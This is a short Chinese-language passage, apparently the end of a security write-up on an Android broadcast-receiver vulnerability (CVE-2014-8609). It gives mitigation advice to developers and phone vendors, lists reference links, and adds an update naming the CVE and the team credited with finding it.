
开发者:

    尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。

手机厂商:

    尽快将固件升级到Android Lolipop。或者参照链接[2]推送安全更新补丁。

 

[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516


11-26 更新:

Baidu X-team 发现的这个漏洞,CVE 编号是CVE-2014-8609:

http://seclists.org/fulldisclosure/2014/Nov/81

http://xteam.baidu.com/?p=77